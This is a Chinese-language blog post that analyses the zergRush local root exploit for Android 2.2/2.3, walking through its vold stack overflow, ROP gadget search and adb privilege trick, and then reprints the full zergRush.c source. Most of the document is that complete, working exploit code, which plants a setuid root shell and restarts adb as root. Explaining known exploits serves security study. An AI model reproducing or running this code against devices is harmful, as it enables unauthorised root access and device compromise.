zergRush 提权代码

一、背景和原理

Revolutionary工具开发小组在2011年10月发布了一个在Android 2.2和2.3上获得root权限的方法[1],并公布了漏洞利用代码zergRush.c[2]。tomken_zhang已经在其博客上发表了两篇文章[3][4]对其分析。本文做进一步梳理和补充。

产生漏洞的主要原因是:具有root权限的vold进程使用了libsysutils.so库,该库的一个函数存在栈溢出,因此可以在root权限执行输入的shellcode。

存在漏洞的函数为FrameworkListener::dispatchCommand,位于源码的\system\core\libsysutils\src\FrameworkListener.cpp中,其中的局部变量argv为固定大小的指针数组,当输入参数的数量超过其大小时,会越界写入栈中。

zergRush.c成功地利用了这一漏洞,并进一步:

1、在/data/local/tmp/下增加一个置了S位的shell;

2、使Android中后续启动的adb进程以root权限运行。

其中第二步的方法是:adb进程最初以root运行,之后调用setuid()降低权限[5]。降权之前,会判断系统属性ro.kernel.qemu,如果该属性位1,则不降权。


二、函数功能概要

die 打印出错信息,退出程序

copy 将一个文件拷贝为另一个文件

remount_data 重新mount一个分区

find_symbol 查找libc.so中导出函数的内存地址

check_addr 确定一个地址中是否包含被禁止的字节

do_fault 构造溢出数据和exploit,并通过socket发送给vold进程

find_rop_gadgets 从libc.so中寻找两个特殊指令序列的地址

checkcrash 调用do_fault,判断其溢出产生的调试信息中是否包含sp

find_stack_addr 调用do_fault,从其溢出产生的调试信息中定位栈地址

do_root 将shell文件的S位置上,并设置ro.kernel.qemu属性为1

main 主函数,完成漏洞利用的所有步骤

三、main函数

395-396: 如果当前程序是以root权限运行,并且程序名为boomsh,则调用do_root,执行附加的两步操作

402-405: 将自身拷贝至/data/local/tmp/boomsh,并设置其权限为0711,将/system/bin/sh拷贝至/data/local/tmp/sh。

407-408: 根据/system/bin/vold文件的大小获得其对应进程中堆的大概地址heap_addr。

410-421: 根据系统版本对heap_addr做微调。如果不是2.2或2.3系统,退出。

423-428: 查询libc.so中system调用的地址,保存至system_ptr。

430-443: 通过checkcrash函数,判断buffsz为16或24时能否成功利用。这里buffsz实际指libsysutils中造成栈溢出的指针数组argv的容量。

445-484: 调用find_stack_addr函数,确定栈地址。反复尝试五次,每次对堆地址heap_addr做微调,直至成功。判断得到的栈地址是否有效。

486-487: kill掉当前的logcat进程,删除/data/local/tmp/crashlog文件。

489-491: 调用find_rop_gadgets函数,在libc.so中寻找指令序列add sp, #108; pop {r4-r7, pc},将地址保存在stack_pivot;寻找指令pop {r0, pc},将地址保存在pop_r0。

493-514: 尝试三次,每次调用do_fault,之后判断/data/local/tmp/sh的S位是否置上,一旦置上,则利用成功;否则,微调栈地址heap_addr(加减16)。

516-533: 一旦利用成功,并且系统的ro.kernel.qemu属性已经被置为1,则利用完成,重启的adb进程即可获得root权限。

四、do_root函数

395-396: 若当前程序是以root权限执行的/data/local/tmp/boomsh,则调用do_root函数。

379: 重新mount目录/data。

380: 将/data/local/tmp/sh的所有者设置为root。

381: 将/data/local/tmp/sh的属性设置为04711,注意其S位被置位。

382: 设置系统的ro.kernel.qemu属性为1。

五、find_stack_addr函数

332-333: 清空logcat缓存,删除老的/data/local/tmp/crashlog日志文件。

335-340: 重启一个logcat,将其日志输出至/data/local/tmp/crashlog文件。

342-349: 调用一次do_fault,等待3秒后,读取crashlog文件中的logcat日志。

350-366: 搜索logcat日志中的debug信息,” 4752455a”之前8个字节为栈基址stack_addr,” 5245564f”往之前8个字节为over?,” sp “之后5个字节为栈顶sp。

370-371: jumpsz = over – sp

六、do_fault函数

165: buf是最后发送至vold的shellcode。

169-181: padding是shellcode中的一段填充内容,全部为Z,无意义。长度为padding_sz + 12。padding_sz由108减去jumpsz计算得到。

183-184: 通过socket连到本地的vold进程。

186-190: 将栈地址stack_addr、指令序列1地址stack_pivot、指令序列2地址pop_r0、system调用地址system_ptr、堆地址heap_addr,分别填充到相应的字符串中。

192-198: 开始构造shellcode。注意第195行,这里根据buffsz,也就是尝试出来的溢出数组argv的大小,构造相应数量的输入参数。

200-201: 计算一下/data/local/tmp/boomsh字符串将会出现的地址,这个字符串会作为shellcode的一部分发到栈中,因此可以根据栈地址和偏移计算出来,最后作为system调用的参数。

208: 把上述地址转为字符串s_bsh_addr。

209: 进一步构造shellcode,包括栈地址、堆地址、填充、指令序列2地址、boomsh字符串地址、system调用地址、boomsh字符串等。

214: 将shellcode发送至vold进程。

七、总结

综合来看,zergRush.c的思路如下:

1. 计算出vold的堆地址

2. 查到system调用的地址

3. 尝试出栈缓冲区大小

4. 通过崩溃产生的调试信息,取得栈地址和栈结构信息

5. 在libc.so中找寻跳板指令

6. 根据缓冲区大小、栈结构和上述各种地址,构造出有效的shellcode来,发送到vold

7. shellcode在vold中以root权限运行,它通过system调用运行该利用程序的一个副本boomsh

8. 程序副本boomsh以root权限运行时,会置上shell程序的S位,并设置系统属性ro.kernel.qemu

9. 结束掉adb,后续开启的adb进程将具有root权限

非常典型的缓冲区溢出利用思路,但与PC相比,利用了android中几个特殊之处:

1. vold的溢出会在adb logcat中输出调试信息,这些信息说明了其内存结构,而其他程序可以读取到这些信息;

2. 在ARM架构下,跳板指令有了更多的选择,ret2libc的攻击也可能更容易实现

3. adb的降低权限过程又一次被利用。

最后,我们没有进一步分析shellcode的详细结构和跳转过程,难度已经不大。反而是libsysutils.so这个通用库中的溢出有没有可能造成其他问题,需要进一步分析。


/* android 2.2/2.3 libsysutils root exploit use-after-free  
 *  
 * Exploited by rewriting a FrameworkCommand object making the runCommand  
 * point to our first ROP gadget.  
 *  
 * Copyright (c) 2011, The Revolutionary development team.  
 *  
 * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK,  
 * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED.  SO BE  
 * WARNED!  I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!  
 *  
 * It only works if called from adb shell since we need group log.  
 *  
 * Compile:  
 * agcc zergRush.c -o zergRush -ldiskconfig -lcutils  
 *  
 */    
#include <stdio.h>    
#include <stdlib.h>    
#include <unistd.h>    
#include <string.h>    
#include <signal.h>    
#include <errno.h>    
#include <fcntl.h>    
    
#include <sys/mount.h>    
#include <sys/socket.h>    
#include <sys/select.h>    
#include <sys/time.h>    
#include <sys/types.h>    
#include <sys/un.h>    
    
#include <dirent.h>    
    
#include <dlfcn.h>    
    
#include <sys/system_properties.h>    
#include <cutils/sockets.h>    
#include <private/android_filesystem_config.h>    
    
static pid_t logcat_pid = 0;    
static char *sh = "/data/local/tmp/sh";    
static char *bsh = "/data/local/tmp/boomsh";    
static char *crashlog = "/data/local/tmp/crashlog";    
static char *vold = "/system/bin/vold";    
    
uint32_t heap_addr;    
uint32_t libc_base;    
uint32_t heap_base_addr;    
uint32_t heap_offset;    
uint32_t r9 = 0, r10 = 0, fp = 0;    
uint32_t stack_addr = 0x41414141;    
uint32_t system_ptr = 0;    
uint32_t stack_pivot = 0x41414141;    
uint32_t pop_r0 = 0x41414141;    
uint32_t jumpsz = 0;    
uint32_t gadget_jumpsz = 108;    
uint32_t buffsz = 0;    
uint32_t allbuffsz[] = {16,24,0};    
    
uint8_t adjust = 0;    
    
uint8_t samsung = 0;    
    
extern char **environ;    
    
    
static void die(const char *msg)    
{    
    perror(msg);    
    exit(errno);    
}    
    
    
static int copy(const char *from, const char *to)    
{    
    int fd1, fd2;    
    char buf[0x1000];    
    int r = 0;    
    
    if ((fd1 = open(from, O_RDONLY)) < 0)    
        return -1;    
    if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {    
        close(fd1);    
        return -1;    
    }    
    
    for (;;) {    
        r = read(fd1, buf, sizeof(buf));    
        if (r <= 0)    
            break;    
        if (write(fd2, buf, r) != r)    
            break;    
    }    
    
    close(fd1);    
    close(fd2);    
    sync(); sync();    
    return r;    
}    
    
    
static int remount_data(const char *mntpoint)    
{    
    FILE *f = NULL;    
    int found = 0;    
    char buf[1024], *dev = NULL, *fstype = NULL;    
    
    if ((f = fopen("/proc/mounts", "r")) == NULL)    
        return -1;    
    
    memset(buf, 0, sizeof(buf));    
    for (;!feof(f);) {    
        if (fgets(buf, sizeof(buf), f) == NULL)    
            break;    
        if (strstr(buf, mntpoint)) {    
            found = 1;    
            break;    
        }    
    }    
    fclose(f);    
    if (!found)    
        return -1;    
    if ((dev = strtok(buf, " \t")) == NULL)    
        return -1;    
    if (strtok(NULL, " \t") == NULL)    
        return -1;    
    if ((fstype = strtok(NULL, " \t")) == NULL)    
        return -1;    
    return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);    
}    
    
    
static void *find_symbol(char *sym)    
{    
    void *r = NULL;    
    void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);    
    
    if (!dlh)    
        die("[-] dlopen");    
    if ((r = (void *)dlsym(dlh, sym)) == NULL)    
        die("[-] dlsym");    
    dlclose(dlh);    
    return r;    
}    
    
    
static int bad_byte(uint8_t byte)    
{    
    switch(byte) {    
        case 0x20:    
        case 0x22:    
        case 0x5c:    
        case 0x00:    
            return 1;    
            break;    
        default:    
            break;    
    }    
    return 0;    
}    
    
    
static void heap_oracle() {    
    char ok = 1;    
    if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))    
        heap_addr = r9 + 0x70;    
    else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))    
        heap_addr = r10 + 0x70;    
    else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))    
        heap_addr = fp + 0x70;    
    else    
        ok = 0;    
    
    while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;    
    if(ok)    
        printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);    
    else {    
        printf("[-] No path found, let's hope ...\n");    
        heap_addr = heap_base_addr + heap_offset;    
    }    
}    
    
    
static int check_addr(uint32_t addr)    
{    
    /*  
     * Check if address contains one of the forbidden bytes  
     */    
    int i = 0;    
    
    for(i=0; i<32; i+=8)    
        if(bad_byte((addr>>i) & 0xff))    
            return -1;    
    
    return 0;    
}    
    
    
static int do_fault()    
{    
    char buf[255];    
    int sock = -1, n = 0, i;    
    char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];    
    uint32_t bsh_addr;    
    char padding[128];    
    int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);    
    
    if(samsung) {    
        printf("[*] Sleeping a bit (~40s)...\n");    
        sleep(40);    
        printf("[*] Waking !\n");    
    }    
    
    memset(padding, 0, 128);    
    strcpy(padding, "LORDZZZZzzzz");    
    if(padding_sz > 0) {    
        memset(padding+12, 'Z', padding_sz);    
        printf("[*] Popping %d more zerglings\n", padding_sz);    
    }    
    else if(padding_sz < 0) {    
        memset(padding, 0, 128);    
        memset(padding, 'Z', 12+padding_sz);    
    }    
    
    if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)    
        die("[-] Error creating Nydus");    
    
    sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);    
    sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);    
    sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);    
    sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);    
    sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);    
    
    if(adjust)    
        strcpy(buf, "ZERGZERG");    
    else    
        strcpy(buf, "ZERG");    
    strcat(buf, " ZZ ");    
    strcat(buf, s_stack_pivot_addr);    
    for(i=3; i < buffsz+1; i++)    
        strcat(buf, " ZZZZ");    
    strcat(buf, " ");    
    strcat(buf, s_heap_addr);    
    
    n = strlen(buf);    
    bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;    
    
    if(check_addr(bsh_addr) == -1) {    
        printf("[-] Colossus, we're doomed!\n");    
        exit(-1);    
    }    
    
    sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);    
    
    n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);    
    
    printf("[*] Sending %d zerglings ...\n", n);    
    
    if ((n = write(sock, buf, n+1)) < 0)    
        die("[-] Nydus seems broken");    
    
    sleep(3);    
    close(sock);    
    
    return n;    
}    
    
    
static int find_rop_gadgets()    
{    
    /*  
     * add sp, #108 -> b01b  
     * pop  {r4, r5, r6, r7, pc} -> bdf0  
     *  
     * pop  {r0, pc} -> bd01  
     */    
    int fd;    
    char r[2], d[2];    
    int n = 2;    
    int bad = 0;    
    
    if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)    
        die("[-] open");    
    
    lseek(fd, 0x10000, SEEK_SET);    
    
    while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {    
        n = read(fd, r, 2);    
        switch(r[0]) {    
        case '\x1b':    
            if(stack_pivot == 0x41414141) {    
                if(r[1] == '\xb0') {    
                    n = read(fd, d, 2);    
                    if(d[0] == '\xf0' && d[1] == '\xbd') {    
                        stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;    
                        if(check_addr(stack_pivot) == -1)    
                            stack_pivot = 0x41414141;    
                    }    
                }    
            }    
            break;    
        case '\x01':    
            if(pop_r0 == 0x41414141) {    
                if(r[1] == '\xbd') {    
                    pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;    
                    if(check_addr(pop_r0) == -1)    
                        pop_r0 = 0x41414141;    
                }    
            }    
            break;    
        default:    
            break;    
        }    
    }    
    
    if (stack_pivot == 0x41414141) {    
        printf("[-] You need more minerals !\n");    
        bad = -1;    
    }    
    
    if (pop_r0 == 0x41414141) {    
        printf("[-] You need more vespene gas !\n");    
        bad = -1;    
    }    
    
    if(bad == -1)    
        exit(-1);    
    
    return 0;    
}    
    
    
static uint32_t checkcrash()    
{    
    uint32_t fault_addr = 0;    
    char buf[1024], *ptr = NULL;    
    FILE *f = NULL;    
    long pos = 0;    
    int ret=0;    
    
    system("/system/bin/logcat -c");    
    unlink(crashlog);    
    
    if ((logcat_pid = fork()) == 0) {    
        char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};    
        execve(*a, a, environ);    
        exit(1);    
    }    
    sleep(3);    
    
    if (do_fault() < 0)    
        die("[-] Zerglings did not cause crash");    
    /* Give logcat time to write to file  
     */    
    sleep(3);    
    if ((f = fopen(crashlog, "r")) == NULL)    
        die("[-] Zerglings did not leave stuff at all");    
    fseek(f, pos, SEEK_SET);    
    do {    
        memset(buf, 0, sizeof(buf));    
        if (!fgets(buf, sizeof(buf), f))    
            break;    
        if ((ptr = strstr(buf, "  sp ")) != NULL)    
            ret = 1;    
        if ((ptr = strstr(buf, "  r9 ")) != NULL) {    
            ptr += 5;    
            r9 = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  10 ")) != NULL) {    
            ptr += 5;    
            r10 = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  fp ")) != NULL) {    
            ptr += 5;    
            fp = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
    } while (!feof(f));    
    pos = ftell(f);    
    fclose(f);    
    
    return ret;    
}    
    
    
static uint32_t check_libc_base()    
{    
    char buf[1024], *ptr = NULL;    
    FILE *f = NULL;    
    long pos = 0;    
    int ret=0;    
    uint32_t spotted_base = 0;    
    
    if ((f = fopen(crashlog, "r")) == NULL)    
        die("[-] Zerglings did not leave stuff at all");    
    fseek(f, pos, SEEK_SET);    
    do {    
        memset(buf, 0, sizeof(buf));    
        if (!fgets(buf, sizeof(buf), f))    
            break;    
        if ((ptr = strstr(buf, "  /system/lib/libc.so")) != NULL) {    
            ptr -= 8;    
            spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;    
            if(spotted_base && spotted_base != libc_base) {    
                libc_base = spotted_base;    
                ret = 1;    
            }    
        }    
    } while (!feof(f) && !spotted_base);    
    pos = ftell(f);    
    fclose(f);    
    
    return ret;    
}    
    
    
static uint32_t find_stack_addr()    
{    
    uint32_t fault_addr = 0;    
    char buf[1024], *ptr = NULL;    
    FILE *f = NULL;    
    long pos = 0;    
    uint32_t sp=0, over=0;    
    
    system("/system/bin/logcat -c");    
    unlink(crashlog);    
    
    if ((logcat_pid = fork()) == 0) {    
        char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};    
        execve(*a, a, environ);    
        exit(1);    
    }    
    sleep(3);    
    
    if (do_fault() < 0)    
        die("[-] Zerglings did not cause crash");    
    /* Give logcat time to write to file  
     */    
    sleep(3);    
    if ((f = fopen(crashlog, "r")) == NULL)    
        die("[-] Zerglings did not leave stuff at all");    
    fseek(f, pos, SEEK_SET);    
    do {    
        memset(buf, 0, sizeof(buf));    
        if (!fgets(buf, sizeof(buf), f))    
            break;    
        if ((ptr = strstr(buf, "  4752455a")) != NULL && stack_addr == 0x41414141) {    
            ptr -= 8;    
            stack_addr = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  5245564f")) != NULL && !over) {    
            ptr -= 8;    
            over = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  sp ")) != NULL && !sp) {    
            ptr += 5;    
            sp = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  r9 ")) != NULL) {    
            ptr += 5;    
            r9 = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  10 ")) != NULL) {    
            ptr += 5;    
            r10 = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
        if ((ptr = strstr(buf, "  fp ")) != NULL) {    
            ptr += 5;    
            fp = (uint32_t)strtoul(ptr, NULL, 16);    
        }    
    
    } while (!feof(f));    
    pos = ftell(f);    
    fclose(f);    
    
    if(over && sp)    
        jumpsz = over - sp;    
    
    return stack_addr;    
}    
    
    
static void do_root()    
{    
    remount_data("/data");    
    chown(sh, 0, 0);    
    chmod(sh, 04711);    
    property_set("ro.kernel.qemu","1");    
    exit(0);    
}    
    
    
int main(int argc, char **argv, char **env)    
{    
    uint32_t i = 0, ok = 0;    
    char *ash[] = {sh, 0};    
    struct stat st;    
    char version_release[1024];    
    int tries=0;    
    
    if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))    
        do_root();    
    
    printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");    
    printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");    
    printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");    
    
    if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)    
        die("[-] Cannot copy boomsh.");    
    
    chmod(bsh, 0711);    
    
    stat(vold, &st);    
    heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;    
    
    __system_property_get("ro.build.version.release", version_release);    
    
    if (strstr(version_release, "2.2")) {    
        heap_offset = 0x108;    
        printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);    
    } else if (strstr(version_release, "2.3")) {    
        heap_offset = 0x118;    
        printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);    
    } else {    
        printf("[-] Not a 2.2/2.3 Android ...\n");    
        exit(-1);    
    }    
    
    heap_addr = 0xffffff;    
    
    __system_property_get("ro.build.fingerprint", version_release);    
    if(!strncmp(version_release, "samsung", 7)) {    
        printf("[+] Found a Samsung, running Samsung mode\n");    
        samsung = 1;    
    }    
    
    
    system_ptr = (uint32_t) find_symbol("system");    
    libc_base = system_ptr & 0xfff00000;    
    
    if (check_addr(system_ptr) == -1) {    
        printf("[-] High templars, we're doomed!\n");    
        exit(-1);    
    }    
    
    tries = 0;    
    printf("[*] Scooting ...\n");    
    while(buffsz=allbuffsz[tries]) {    
        if(checkcrash()) {    
            printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);    
            break;    
        }    
        tries++;    
    }    
    
    if(!buffsz) {    
        printf("[-] Hellions with BLUE flames !\n");    
        exit(-1);    
    }    
    
    for (tries = 0; tries < 2; tries++) {    
        heap_oracle();    
        find_stack_addr();    
    
        if (stack_addr != 0x41414141 && jumpsz) {    
            printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);    
            break;    
        }    
    }    
    
    if (stack_addr == 0x41414141 || !jumpsz) {    
        printf("[-] Zerglings did not leave interesting stuff\n");    
        exit(-1);    
    }    
    
    if (check_addr(stack_addr) == -1) {    
        if(bad_byte(stack_addr & 0xff)) {    
            stack_addr += 4;    
            adjust = 4;    
            if (check_addr(stack_addr) == -1) {    
                printf("[-] Siege tanks, we're doomed!\n");    
                exit(-1);    
            }    
        }    
        else {    
            printf("[-] Siege tanks, we're doomed!\n");    
            exit(-1);    
        }    
    }    
    
    if (jumpsz > 108 + 12) {    
        printf("[-] This terran has walled!\n");    
        exit(-1);    
    }    
    
    if(check_libc_base()) {    
        system_ptr = libc_base + (system_ptr & 0x000fffff);    
        printf("[*] Creating more creep 0x%08x ...\n", system_ptr);    
    
        if (check_addr(system_ptr) == -1) {    
            printf("[-] High templars, we're doomed!\n");    
            exit(-1);    
        }    
    }    
    
    kill(logcat_pid, SIGKILL);    
    unlink(crashlog);    
    
    printf("[*] Researching Metabolic Boost ...\n");    
    find_rop_gadgets();    
    printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);    
    
    do_fault();    
    stat(sh, &st);    
    if ((st.st_mode & 04000) == 04000) {    
        char qemuprop[1];    
    
        printf("\n[+] Rush did it ! It's a GG, man !\n");    
        property_get("ro.kernel.qemu",qemuprop,"0");    
    
        if (qemuprop[0]=='1') {    
            printf("[+] Killing ADB and restarting as root... enjoy!\n");    
            fflush(stdout);    
            sleep(1);    
            kill(-1, SIGTERM);    
        } else {    
            printf("[-] Failed to set property to restart adb. Not killing.\n");    
        }    
    } else {    
        printf("\n[-] Bad luck, our rush did not succeed :(\n");    
        fflush(stdout);    
        sleep(1);    
        kill(-1, SIGTERM);    
    }    
    
    return 0;    
}   


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值